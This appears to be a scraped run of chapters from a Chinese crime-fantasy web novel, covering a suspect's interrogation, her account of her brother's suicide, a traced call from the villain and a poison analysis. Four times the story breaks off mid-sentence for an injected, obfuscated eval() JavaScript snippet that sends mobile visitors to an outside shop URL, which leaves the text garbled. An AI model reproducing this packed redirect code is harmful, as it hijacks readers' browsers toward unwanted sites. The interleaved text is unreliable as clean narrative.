学习拔尖和多才多艺,在哪都能受到瞩目,这些对她来说不是难事。 所以彭嵘从小到大都会作为正面例子被父母用来训彭峥。 有时候她仔细思考,会觉得自己无意中也成了把哥哥逼死的帮凶。 “你们认为我是叛逆期迟发,混入帮派只是为了反抗和报复父母?如果想以此打感情牌,装好人说些理解我的话套近乎,攻破我的心防,那你们恐怕是要失望了。” 彭嵘兴致缺缺地歪头:“解释这种无聊的问题真浪费时间,跟你们没什么好说的……我要跟她谈。” “谁?” 彭嵘直直看向漆黑的单面镜,笑了笑:“独闯帮派跑来抓我的那个短发女生。” 她知道那人一定就在对面。 “我和她比较有话说。” “她不是想知道为什么我看得出她有问题吗?那就过来聊聊,解开疑惑。” 燕逸岫顿时懵了,见周围几个警员齐齐投来视线,她慌张地低下头,不知道该怎么办。 她不是专业人员,不懂审讯技巧,当然不能去,万一谈崩惹出什么问题岂不是麻烦了。 “她还有别的事要忙,不在外面,”谭誉道面色不改,“有什么话我们聊就好了。” 然而彭嵘并不是好糊弄的,既然对方不让步,她就开始保持沉默,一个字也不说。 僵持一会儿之后,姜韫在通话那头下了决定。 “让逸岫进去。” 谭誉道皱起眉头,他也怀着和燕逸岫同样的担忧,于是起身暂时离开审讯室到外面和姜韫沟通。 最后他还是答应了,叫上燕逸岫进入审讯室,坐在彭嵘对面。 燕逸岫落座后,按照姜韫的指示,开门见山问道:“不如还是先解开我们的疑惑吧,你说自己不是为了报复父母才接触帮派,那真正原因是什么?” “为什么你们总要追根究底问为什么,哪有什么事都要说得出缘由才能去做?”彭嵘对这一问题颇为不耐烦,换了个姿势坐,“原因很简单,就是我觉得有挑战,觉得好玩,想体验一把当上首领一呼百应的感觉。” “对我来说,这只是一群人,我不管她们是什么人,我只想试试我在不同领域的管理能力能达到什么水平。” 她能站上今天的高度,从不是为了让父母满意而努力,而是她自己想成为优秀的人,她对自己好奇,想知道自己的上限到底有多高。 如果父母提出不合理的要求,她自知做不到,就不会去白费力气,随那两人怎么训斥抱怨,她左耳进右耳出,根本不放心上。 能再往上,就继续尝试,无法突破,就放过自己,不被别人的想法绑住,不对别人倾注太多感情和注意力,就不会折磨自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690969|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “所以,之后父母知道你成了凶案嫌疑犯,成了帮派老大,会是什么感受,你也不在乎?” 彭嵘摇头,神色平淡。 燕逸岫又问道:“等案子细节披露出来,千万民众都会知道你的事情,包括你的朋友同学,你也不在乎吗?” “当然,我为什么要管她们怎么想?” 燕逸岫不吭声。从她的表情和放松的肢体动作中能看出她确实没有违心说谎。 燕逸岫不禁有些羡慕。 明明她在所有人眼中是可望不可及的完美榜样,照常理说她应该会更注重自己的形象,可她居然一点都没有心理压力,想干什么干什么。 凭这强大的心理素质,就不知道赢了多少人。 彭嵘凝视着燕逸岫,很快得出结论:“你很在乎别人的看法,是吗?” 燕逸岫板着脸并不直接回答:“不是你审问我。” 彭嵘又换了个姿势,似乎已经耗光耐心:“不如做个交易吧?如果你们答应,我就告知所有我了解的。” 她朝燕逸岫笑了笑:“包括你的疑问。” “我们怎么知道确定你提供的线索有价值?” “你们不信我,那就只能凭你们的想法自行判断了,我不是心腹,本来了解就不多。” 燕逸岫示意彭嵘把交易说来听听。 “很简单,放我回学校去,将牵扯到我的暂且压下不公开,”彭嵘靠回椅背说道,“主要是因为我目前参与了几项全国竞赛,带了团队,几个月来大家都为了比赛尽心尽力,我不希望我个人的事情影响比赛,导致她们的努力打水漂,我也想知道结果如何,会得什么名次。” 是个让燕逸岫她们意料不到的要求,不过确实符合彭嵘本人的个性。 凶杀案没有决定性证据指向她,彭嵘并不担心,但帮派的事暴露已经是板上钉钉,会传多少出去很难说,她不能冒这个风险,拿自己的研究成果去赌任何可能性。 最后,得到姜韫相应指令后,燕逸岫和谭誉道答应了这一交易,双方签署协议。 “我不知道那人是怎么发现我是帮派首领的,有一天他突然发信息给我,想要与我合作。”彭嵘签完字就慢悠悠开了口。 “他不仅挖出我的身份,而且还猜出了我的性格,我一度怀疑他是我的某个朋友。” “我觉得他很有意思,人活一世,能遇到个懂自己真实面目的人可不容易,我也对他的计划感兴趣,于是就答应了合作。” 彭嵘不知道对方叫什么,长什么样,是什么身份,毕竟她和对方接触交流不算久,也不是心腹,没有那么轻易能见到幕后真正操控一切的神秘人。 “我只知道他的代号——礼拜。很奇怪的名字对吧。” “那你曾和组织里的什么人见过面吗?” 彭嵘仔细回忆一遍,确定自己这么久以来只跟对方的一个手下接触过。 “一个狙击手。”彭嵘说道。 那时她接到了一个暗杀目击者的的任务,由她负责引被害人到指定位置,制造出时间差,为另外几人做好不在场证明,而狙击手则守在楼上,瞄准被害者准备来个爆头,尽快完成任务。 “如果我没听错的话,她叫日月。” 燕逸岫等几人听到彭嵘提及狙击手,一下子想到了当初那个背着高尔夫球袋的女人。 她就是个狙击手。 谭誉道紧接着追问:“你记得她长什么样吗?” 37. 反派的来电 彭嵘颔首。 随后警方取来一台模拟画像仪摆在她面前,彭嵘将对方的容貌特征尽可能详细地一点点描述出来,仪器一边接收它的描述内容进行同步识别构建,逐渐形成了一张完整的肖像画。 细长眼,薄嘴唇,招风耳,偏黑,脸颊上有一些雀斑,约摸四十几岁。 这张脸和之前出现过的背高尔夫球袋的年轻女人长得完全不一样。 还没等几人失望于猜测落空,乔琅的声音忽然从通话另一头传来,她语速很快,急切说道:“等等,我见过这张脸,我见过,不会记错的。” 当时她追查燕逸岫遇到的狙击手,沿着她的行动路线倒回去查,最后止步于天烁区九铜路商业街,再往前就怎么也找不到她的踪影了, 乔琅对人脸过目不忘,加上反反复复研究过录像,几乎都能这些画面和对应时间背下来了,所以她能肯定自己确实在那附近看到了这个细长眼女人的面容。 乔琅再次调出当时的监控回放,明白了自己当初为什么没有特别注意到她。 这个陌生女人是打车来到该大楼的,乔琅能看到的是她坐在车窗边露出来的半张脸,画面只有几秒。 当时街边正好停着一辆运送小车的三层式大货车,她所乘坐的小车就停在大车尾部,那人下车后没走两步就拐到了大车后面,消失不见,疑似进入了大楼中。 能拍摄到这栋楼大门的只有街对面的监控,从这一角度看去,视线正好被高高的大货车遮挡,因此乔琅没能观察到她的步态,无法从走路姿势特征来判断身份。 不看走路姿势,将两张完全不同的脸摆在一起来对比,实在很难判断出这是同一个人。 燕逸岫和大家一样,不禁怀疑对方那边也有人有着不输温簌水平的易容能力。 从嫌疑人口中得到了新的突破点,乔琅就锁定了监控中的这个人,继续往前翻监控追踪路线,希望能找出更多有用的线索。 谭誉道继续询问有关这位狙击手的其它信息,如声音、口音、惯用语,还有气味、当时的穿着打扮等等。 彭嵘很配合地一一作答。 “你为什么会与对方的狙击手碰面,什么时候?是去做什么事吗?” 彭嵘望着对面的人,但笑不语。 牵扯到命案的事情,她怎么能随便说出口,傻傻地把自己搭进监狱里。 审讯室静了下来。 另一边,地下城的嘈杂声不绝于耳。 温簌按照彭嵘的喜好在地下城几个地点转了一圈,确保留下“彭嵘”的身影和踪迹。 完成任务后她就启程回地面,按照燕逸岫说的方法隐入人群,躲避摄像头,到隐蔽的地方卸下伪装,再以原本的面容从另一位置回到在街上。 她不疾不徐散着步,拐进美食街寻找今天的晚饭,徘徊几分钟后她终于停在一个小摊前,买了两盒炒面。 老板扬着热情的笑容招呼客人,边熟练炒面边和她闲聊几句,问她是不是T大的学生,是不是多带一份给朋友,还告诉她明天会出新品,欢迎来尝尝等等。 很快两份热腾腾的面被分别装进保温盒。 “这是赠品,”老板从后面的纸箱里拿出两瓶饮料,和炒面一起放进塑料袋,咧着嘴笑交给温簌,“拿好嘞,趁热吃哦,凉了味道就没有那么好了。” “好,谢谢老板。” 温簌带着晚饭乘车回到天锦区基地,敲门后进入季渊知的单人工作室。 季渊知此时刚绑好头发,套上了笔挺崭新的白大褂。 虽然如今是让人不断冒汗的夏天,但这瘦高直挺的个子映入眼帘,却仍然让人第一时间联想到了雪中的孤傲白梅。 “我把东西带来了,”温簌提起塑料袋晃晃,走到桌边放下,“你现在就要去做检测?不先吃口饭吗?刚炒好的面,趁热吃点垫垫肚子吧。” 她把季渊知的那份炒面摆在桌上推到她面前,又从自己那份中取出饮料,剪开空包装。 里面是一袋水,有重量才显得更逼真,另外还有一小管暗红液体用胶带固定在盒子内壁。 温簌小心地将其拆下递给季渊知保管。 那里头装着的是从欧徽胃里提取出的毒血。 等警方完成尸检等一系列工作后,姜韫让检测部门的警员再另外提取出一份毒血,由外部的行动组负责分析,和警局同步研究。 卖炒面的老板正是与行动组成员接头移交毒血样品的便衣警察。 “事情全部忙完再吃饭才算放松,我喜欢一鼓作气,否则吃饭都不安心。”季渊知走到柜子边,从箱中取出手套等检测工作所需的工具,一样样清点数量,生怕遗漏了什么。 季渊知是计算机专业学生,如今博士在读,以前因为对药物感兴趣,又修了双学位读药学专业,每天两头跑,两门专业成绩都同样优异突出,此外她还在课外找各种机会进行药学研究。 当初系统选择人员时正是考虑到了这点。 因为在谢舒灵案中,反派首次使用药物杀人,而且还是警方至今无法完全破解其中各项成分的复杂毒药,这表明反派在这一领域有所研究,将来还可能继续用旧药或新研发的毒去害人,以及用来杀行动组成员。 所以2队成员中,至少要有一人懂药理。 季渊知望着一桌子的器材工具和试剂,笑着叹口气,活动几下肩膀手腕:“读博很忙,好久没接触这些东西了,感觉都有点生疏了。” “忙得过来吗?需不需要我配合?我对化学药物不懂,但可以给你打打下手。” “没关系,不用麻烦,你赶紧吃饭休息吧,”季渊知启动成分分析装置调试,确保它没有什么问题故障,“我一个人应付得过来。” 确实很久很久没实际操作过了,但手指一贴在玻璃杯上,感受到熟悉的凉意后,相关记忆就迅速翻涌上来,就像一瞬间回到了最投入药学研究的那几年。 学过的知识和经验,她从不会忘记。 准备齐全后,季渊知带着仪器上楼前往实验室。 温簌留在楼下,不去打扰她专心工作。 她将季渊知的那份炒面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703467|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放进食柜开启保温,这样一来,无论季渊知几点忙完,都能吃上热乎的晚饭。 温簌回到会议厅随便挑了个位置坐下,打开保温盒开始狼吞虎咽。 不得不说这是她吃过最好吃的炒面。 这位便衣警察可以说是完美融入了美食街。能把面炒得赛过国宴,还能自然热络地和顾客聊天,谁会怀疑她的真实身份。 温簌放慢速度仔细品尝,边听着通话内容。 “有留下关于对方的通话记录和消息记录吗?” 警局里,审讯仍然在进行中。 见彭嵘铁了心不提凶案相关线索,谭誉道无奈换了别的问题。 彭嵘立刻摇头:“没有,我不清楚对方使用了什么没在市面发行的智能设备,从不会在我的芯片里留下来电记录,至于他的声音,很明显是使用变声器加工,恐怕没什么参考价值。” “那除此之外……” “想问别的可以,但既然是交易,也该轮到我问几个问题了。” 彭嵘毫不客气地打断谭誉道,旋即倾身直直盯着一旁安静不说话的燕逸岫:“我很好奇你躲子弹的本事是怎么回事。” 燕逸岫顿时汗流浃背,扯起一抹尴尬不失礼貌的干笑。 “我都掏心掏肺不怕死地给你们分享了这么多信息,你总不能敷衍我说那只是巧合吧?也太没诚意了。” 燕逸岫还没扯完的嘴角又立刻抿了回来。 “一次躲过去了还能算是巧合,四次实在是很难骗人。” 燕逸岫憋了半天,涨红脸鼓起勇气挤出一句:“你先解答我的疑问,我就告诉你。” “你们还真是一点亏都不吃,”彭嵘冷笑一声,懒洋洋靠回椅背翘起二郎腿,“好吧,我告诉你。” “因为……” 很不巧,在这时候,话语被一阵铃声打断了。 彭嵘不悦地皱眉,得到允许后启动芯片看了眼是谁在这关头打扰她。 目光落在屏幕的一刹那,彭嵘先是一怔,很快又笑了出来,拨动浮在空中的屏幕转向对面的两人,挑起眉,露出一副看好戏的表情。 上面本该显示出来电人号码的位置空空如也,什么都没有。 “是他打来的。” “要接吗?” 什么? 燕逸岫瞬间紧张起来,绷直后背,心跳加快,思绪开始高速旋转。 是……反派打来的? 她想起廖怀霖新研究出的针对系统的追踪装置,马上找姜韫询问是否要在这关头用上。 “用上,你趁着她屏幕亮着,依照怀霖给的教程偷偷传输过去,安装启动。” “好。” 燕逸岫作出一副万分诧异的模样,霍然站起探身仔细端详,趁此机会打开微系统进行隔空传送,神不知鬼不觉地将廖怀霖的程序复制进她的芯片里,当即启动。 完成这一套行云流水的假动作,她暗中给身旁的谭誉道打了个手势。 谭誉道接受到讯号,对着彭嵘正色点点头。 “接吧。” 38. 无解的困局 保险起见,姜韫让谭誉道和其她警员暂时离开审讯室,拉开一定距离,只留下燕逸岫,方便接受指令行动和处理突发状况。 彭嵘按下屏幕。 与此同时,燕逸岫将呼吸调整到最轻。 “怎么这么迟才接电话?”对面传来一道尖细的变声声音,一开头就问出让人感觉不妙的问题。 “我在外面做志愿活动啊,”彭嵘不耐烦地挠挠脸,“难不成要我大庭广众之下接你电话?好不容易找了个安静的地方。” 对方冷哼一声,这个问题就算揭过去了。 位于天烁区家中的廖怀霖紧张地攥紧拳头,监控着数据变化,又放大屏幕飞速敲击,给运行中的程序再上了两层保护,使其更加隐秘,不容易被发现。 她听到自己的心跳声几乎盖过了屏幕那头的说话声。 这是对反派的追查,也是对自己技术能力的考察。 只要能收获任何零星线索,且不被反派发现,就是个好的开端,证明她的理论想法是可行的。 “快放暑假了,你怎么打算的?回D省?” “不回,我留校。” “嗯,那后两个月可能还会有任务派给你。” “行。” “另外,最近少出校,少与帮派里的人接触,你手头的任务我暂时先移交给别人处理,你这些天不用操心。” “为什么?” 对面的短促笑声卷着一丝嘲讽:“调查我的那些人,动作越来越快越来越大胆,而且警局最近在重录相关目击者的证词,指不定哪天就查到你头上了。” “所以尽量少离校,太过惹眼被注意到就麻烦了。“ “知道了。” 两人没有聊太多,对面得到答复反馈后就干脆地结束交谈。 通话断了之后,室内室外的人都大松一口气。 通话太短暂,没能收集到更多有用信息,但最重要的一点是,对方并没有发现廖怀霖的程序。 而这意味着今后调查反派的手段又多了一种可能性。 趁着这会儿廖怀霖那边还没结果,燕逸岫决定先跟彭嵘聊完。 “其实我最初没发觉你有问题,是你开始防御后表现出不同寻常的反应能力,我才意识到你不对劲。” “那你最开始为什么会动手?” “就是单纯想杀你而已啊。” 而已……这是在而已什么…… 彭嵘闭上眼叹气,再睁开时,多了几分沉重积在眼底,感慨道:“因为你太像我哥了。” 燕逸岫满脸问号。 从她先前简述家庭故事时,燕逸岫能感觉得到她对哥哥彭峥没有轻视或厌恶的情绪,而是怀着对他成长于这个囚笼家庭的惋惜悲伤。 既然如此,为什么因为觉得她像彭峥就要杀她。 按照电视剧里的情节,不应该是震惊→难以置信→悲伤流泪→伤感名言→回忆往事→敞开心扉→下定决定要保护她好好待她,不让她重蹈覆辙……这样的流程吗? 零帧起手就要杀人是什么反其道而行的操作? “一家人生活了那么久,我早就摸透我哥的性格,所以我一眼就看得出你和我哥一样,都是极其敏感自卑内向忧郁利他主义自我折磨太过在意别人看法的人,我知道你们活得很累很痛苦。” 一字一句,如满弓之箭从燕逸岫耳边呼啸而过,带起冰冷的劲风重重扑在脸上。 被拆穿看透的惊慌让燕逸岫觉得自己的脸已经僵硬,变不出任何表情,也挪不开目光,只能长久地与彭嵘对视。 “从高一开始,我拿出压岁钱和我哥的凑一凑,陪他偷偷去医院看病。” “说实话,因为我不如他敏感心细,也不在乎父母的道德绑架,所以我其实并不能理解为什么他会那么纠结压抑,为什么不能直接别管旁人的看法就好了。” “这种无法克制的事情不是嘴巴上说说就能改掉的,”燕逸岫开了口,轻声说道,“如果真有那么容易跨过坎和走出阴霾,世界上就不会有那么多悲苦了。” “我也明白,所以我没对他提过什么,只是默默陪他去看病,毕竟这件事当然不可以告诉那两个自以为是的家长,否则到时候也不用看病了,估计能直接崩溃住院。” “我哥很早就说过不想活,但他不敢自杀,你知道是什么可笑的理由吗?” “因为他背负了太多期待,他说如果自己自杀了,爸爸妈妈会白费心血,亲戚会看不起我们家,他的同学朋友也会嘲笑他,我也会被连累受到指指点点。” “类似于‘他成绩那么好,但他居然活不下去’、‘考得好又怎么样,心理这么脆弱’、‘你这孩子真没用,都不知道为父母着想,这么多年真是白养了’等等等等。” 活在这世上,因为在意别人的目光和看法而痛不欲生,同样也还是因为顾忌别人的目光和看法,又强迫自己不去寻死,继续苟延残喘。 无解的困局。 “不想让家人在他死后被说三道四,所以一直坚持活着,但他实在太痛苦了,到后来他开始感慨要是哪天自己被杀或者出意外死掉就好了,他能彻底解脱,也不会有外人知道实情而嘴碎八卦。” 这是彭峥想到的最完美最圆满的解决方法。 听到这些,燕逸岫眨了眨眼,终于能控制自己的脸部肌肉稍微表露出此刻情绪。 该不会…… 彭嵘猜到她们的想法,摇摇头:“我可没狠到弑亲的地步,警方确认过现场,以自杀结案。” “我也不知道为什么,可能他真的撑不下去了吧,也一直等不到渴盼的意外,所以最后还是选择自我了断。” 她时常回想起自己最后一次陪彭峥去医院的场景。 由于预约的时间比较晚,结束咨询和开药后已经是医院下班时间了。 彭峥去自助窗口取药,她坐在冰凉的椅子上等他。 四周空荡荡的,只剩她们两人。 到点后室内大厅的灯骤然关闭,只有取药窗口仍然明亮。 她坐在阴暗处,看着彭峥站在亮堂堂的地方,灯光近距离投出的影子矮小清晰,像幼年时期的彭峥通过这一媒介冒出来看看将来的自己过得如何。 这时有个精神病患者被送进来住院,他大声念叨着别人听不懂的话,夹杂着混乱笑声。 这些声音在空旷昏暗的大厅久久回荡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718270|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分诡异。 “我好了,走吧。” 听到彭峥的声音,她才转回来,看到他将装着一盒盒药的塑料袋打上结放进书包里。 他神色平静,仍然站在灯光下,腕上的小叶紫檀手串被照得发亮。 彭嵘垂眸看向如今戴在自己手腕上的手串,其中几颗珠子还沾着细小的血点,她一直放着没去擦拭。 她想不明白,如果厄运阴霾有预示,那么明明是她被黑暗笼罩,怎么最后是彭峥先坠入其中。 “所以后来我也开始认为我哥说得可能没错,我在想,既然自己顾忌太多,不如让别人来动手结束这一切。” “生前一直在艰难挣扎,至少最后让他想走的时候可以毫无负担地离开。” “我可以来当这个坏人。”说到这儿,她的目光变得坚定明亮。 彭嵘也无数次思考彭峥死前到底怀着什么心情和想法。 他还害怕父母失望的沉默吗?他还会幻想死后别人的闲言碎语吗?他会有最终解脱的轻松和怅然吗? 他会因为忧虑世间人对他死亡的看法而徘徊黄泉不肯轮回吗? 所以,当燕逸岫出现在她面前的时候,彭嵘脑中一片空白,恍然间看到了彭峥的残影闪过。 怎么可能会有那么像的人,明明外貌完全不同,气场却几乎一模一样。 她不禁怀疑是无法释怀离开的彭峥附在别人身上,希望她能彻底了结自己,又怀疑是彭峥的魂灵将与他拥有同样苦楚的可怜人引到她面前,为其解脱。 于是彭嵘就像魔怔了似的,拔出了刀,说不清是纯粹为了了彭峥的夙愿,还是为了让自己从没能助他无憾离开的迷茫中抽离出来。 燕逸岫觉得她有点疯过头了,忍不住思索怀着这种心理的彭嵘是否称得上是另一类“死亡天使”。 “你……该不会以前也因为这个原因伤害过人吧?”燕逸岫酝酿了一会儿才问出口。 “没有,在你之前我没有遇见过和我哥这么像的人。” “……” “太像了,光是站着不说话,那种内敛敏感彷徨的气质就暴露无遗。” 在彭嵘的感觉中,这两个人浑身都散发着雨天的气息,阴沉沉的郁悒,透着被无数泪水浇洗浸泡的湿冷。 再多接触些后,也还是分得出一点区别,彭峥是雨天里暗潮翻涌的河,不知何时决堤,而燕逸岫像雨天里雾蒙蒙的山,固守不动。 “……”燕逸岫真不知道该露出什么神情来表达此刻复杂的心境。 原来当初进入屋子时彭嵘那亲切温和的笑是真实的,因为她在眼前人的身上看到了死去多年的哥哥的影子。 燕逸岫手指捻着衣摆的锁边,聚集散乱思绪。 她和彭嵘哥哥的想法确实很像,如果彭嵘是出现在原世界的人,她很乐意迎接她为人解脱的刀刃,但如今不行。 她要为队友们活着。 仔细深究起来,这也算又一次背负了别人的期待,但这是她自愿的。 队友们都是很和善优秀的人,她不希望她们伤心,更不希望她们早逝。 “我解释得差不多了,该轮到你了吧?”彭嵘话锋一转。 39. 未知结局的交易 燕逸岫只好清了清嗓子,硬着头皮与之对视,一脸坦荡地睁眼说瞎话:“我前几年待在国外,接受过长期的特殊训练,经常受伤,所以能大致判断用枪的基本方向规律和速度。” “不过四枚子弹都能躲过去真的是巧合、巧合……第五次就真的躲不过了……” 她说着,垂在身侧的手偷偷朝单面镜打了个手势。 正在待命的技术人员接收到信号马上跑过去,推门进入审讯室,打断对话。 “警长喊我来为嫌疑人安装电子手铐。” 谭誉道点点头,和燕逸岫一同起身来到彭嵘身边守着,防止她突然动武暴力抵抗。 彭嵘的目光仍然凝在燕逸岫身上,随之移动,似乎还有很多问题想问。 技术人员给彭嵘的两个芯片都植入电子手铐监视器程序,将她的活动范围严格设定在校园内。 一旦彭嵘不经报备擅自踏出可活动范围,芯片将发出无法停止的警报声,并发送紧急预警给附近所有警局人员,最后自行启动电流将被监视者击昏。 彭嵘伸出手配合工作人员,边回答道:“我当然会好好待在学校里,我如果跑回地下城晃悠,恐怕会被阿七和叛变的心腹追着杀吧。” 燕逸岫眉头一扬,没说话。 虞瓷的事情出乎彭嵘预料,也完全在燕逸岫计划之外,可能会导致行动暴露,被反派发觉异常。 没有多少人知道彭嵘的真面目,她不直接与成员接触下达指令单,都是心腹代为传话,而如今她的心腹也都已经转投虞瓷,所以首领暗中更换也不会引起外人怀疑。 彭嵘有自己的理由隐瞒真实身份,但虞瓷没有什么顾虑,她就是奔着首领的位置去的,一旦成功夺权,她自然可以大摇大摆出现在众人面前昭示身份,悄无声息顶替彭嵘。 所以燕逸岫没有急着回去而是再多留了一会儿,为的就是提前与虞瓷通气。 虽然她不能提反派的事情节外生枝,但她可以编一个类似的故事,详述其严重性和大范围的危险性,也能达到同样的效果。 她借此来警醒虞瓷多加小心,暂时像彭嵘一样当隐匿真面目的首领,假装什么变故都没发生过,继续以先前的身份出现在大众面前。 正好接收到反派的提醒,彭嵘也就有了正当理由不出现在地下城,一来温簌可以不用易容假扮,省出时间精力去处理其它任务,二来也降低反派起疑心的可能。 “记住我们的交易,不对外界泄露任何事情,不擅自联络幕后人,有线索及时告诉我们。”谭誉道最后提醒她一遍。 彭嵘拖长声音应了。 “放心吧,在全国竞赛所有成绩出来之前,我会守信遵守交易上的每一条规矩,不联系帮派和“礼拜”,不泄密,不反悔,不擅自行动。” 在全国竞赛所有成绩出来之前。 等名次出来,确认了团队其她人都拿到属于自己的奖,彭嵘就再也没有软肋,谁也不清楚事态会往朝哪个方向发展。 彭嵘也给她们设定了时间范围。 燕逸岫大概算了算,出成绩估计是一个月之后的事情。 想要在这么短的时间内抓住拥有系统的反派简直有点异想天开了。 燕逸岫试图争取一下:“如果你之后打算说出这些事,就不怕反派杀人灭口吗?” 彭嵘耸耸肩,根本不在乎:“无所谓,人活着不就为了尝试不同的新鲜事吗?我已经有了很多有意思的经历,最可怕的事情——和连环杀手接触我都体验过了,死而无憾。” 死而无憾,在彭嵘的观念中是人类最完美的结局。 “……”燕逸岫无言以对。 真是个古怪难懂的人。 被拘束在小小的椅子上坐这么久,彭嵘已经有些困倦了,偏过头打呵欠。 从侧脸能看到她的鼻梁很高,直挺挺的完美直线,鼻尖又窄小,整体形状宛如一片锋刃,和她的个性一样锐利。 结束审讯后,按照交易,彭嵘由两名便衣警员护送乘车返回学校。 随后,燕逸岫和谭誉道分别离开警局回家。 在车上打了几分钟的盹,燕逸岫感觉自己的精神总算恢复了五六分,思绪差不多能恢复正常速度运转。 到家后她打开微系统。 廖怀霖已经上传了图片展示破解追踪的结果。 “定位就在天锦区。程序只能确定到这儿,具体的就查不到了,”廖怀霖语气有些失望,“破解需要一定时间,目前版本速度较慢,通话时间太短,来不及分析完。” 而且越到后面,破解速度越来越慢,屏幕上密密麻麻的一行行定位点和数字几乎动也不动,凝固了似的。 这说明越接近信号发出的地方屏蔽越强,以她目前写出来的程序和系统的能力很难有办法再更进一步,像想象里那样直接撕开反派的面纱。 “多亏了你,我们能有突破口切入,”姜韫温和的声音传来,“能锁定某一个区已经超出我的预期,而且反派没有察觉异样,你做得很好了。” 廖怀霖笑着应了两句,又低下头思考。 之前她抓耳挠腮思考怎么写好程序并配合系统成功运行时又好奇询问了系统什么时候也能进化升级,祂只淡淡说宿主并不擅长这些。 系统寄生于宿主,就只能依靠宿主的能力和精神意志进行二次生长变化,如果宿主在某方面没有特长,也就无法强求系统在这一领域突破升级。 可她们要和另一个似乎在不断升级强化的系统对抗,如果没有追上反派金手指的发展速度,赢的可能就会越来越低。 廖怀霖抬手,指腹隔着点距离在屏幕键盘前滑过。 感受到她手指的温度,键盘随着她的动作方向亮起柔和的光,像一道海浪拂过,等着她触碰操作。 既然宿主在这方面提供不了帮助,系统无法升级,廖怀霖心想,那就靠她自己升级能力,她来追上对方,弥补系统在这一领域的短板。 她现在的计算机水平,可还谈不上快要到达自己的上限。 另一边,季渊知摘下手套,把刚记录整理完的报告发到微系统。 关于欧徽的毒,她完成了初步检测分析,其中一部分是新世界才有的毒物,在她知识体系之外。 好在新世界的权威专家们多年来针对这些成分的提取制作和应用进行了详细研究,就算她不了解也能参考资料分析。 但还有一小部分是目前大家都没见过的,更难研究,几乎无从下手,她需要翻阅大量文献资料,和警局请来的药物分析专家讨论,以及花费时间进行反复实验才能给出答案。 “目前我所能检测出的其中三种药物成分属于国家一级违禁品,医院和普通研究院都没有,一般人绝无可能接触到。” “所以我们得联系那两三家全国最顶级的制药研究所,请她们进行一次彻底的清点排查,重算数据数量,看看在此之前有没有药物失窃。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726281|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“如果没有失窃情况,就要考虑是懂药理的人自制药物的可能,那么就得找到源头的材料供应商,这一条线恐怕会更难查,毕竟有灰色地带、隐密交易勾当和各种政商牵扯。” 姜韫嗯了一声:“研究所我去联系沟通,渊知你检测时注意防护,毕竟是未知的毒物,一定要小心。” “我会的。” 这时姜韫接到警长打来的电话,于是暂停了这边的讨论,接通电话和对方聊了几句,一脸严肃地点头。 “天极区发生了新案件。”挂掉电话后姜韫说道。 “又是反派干的吗?在哪里?” “没有过度伤害,没有血画的符号,监控完整,死因是一发毙命的枪伤,不像反派的犯罪特征。” 尸体在地下室里,在这炎热的夏季被丢在暗处放了好几天。 附近不少居民投诉这几天有股恶心臭味萦绕不散,物业才挪动脚步去地下室检查,最后发现了被藏在货架后面烂在墙根的尸体。 法医验尸检查伤口后指出死者不是近距离被枪杀,伤口角度为由上往下斜斜穿透大脑,大约60度。 警方现场搜证过程中没有在这片区域发现子弹和弹壳,凶手杀完人后清理了可能的所有证据。 “之前发生过多起帮派火拼,有类似现场,所以警方目前判断是帮派之间的冲突。” “但毕竟最近有关反派的事太多了,等现场搜证和各项检测结束,警方会把具体报告传过来,如果有牵涉到反派这方面的线索,她们会再联系我们。” “乔琅,你那么进展如何?” “又不见了,监控倒到她从一栋楼里走出来,在这之前就又找不到人了。” 乔琅抓狂的声音传进每个人耳朵里:“为什么她们都莫名其妙不见了,根本没办法再往前查,这到底为什么!她们怎么做到的?” 她查看了每一层楼的监控,地下车库的监控也仔仔细细找了几遍,可是什么都没发现。 怎么会有这么奇怪的事情。 乔琅恼火不已,一边重看监控一边把头发揉得乱糟糟,抓起枕头一通捶,想破脑袋也解不开疑问。 她甚至开始怀疑是自己的判断能力出问题了,那套识人方法会不会并不适用于每个人。 “我相信你的追踪能力,”姜韫冷静地安抚她,“如果多次出现这种情况,就要考虑这是她们的某种特殊脱身技巧,或许正是反派教的。” 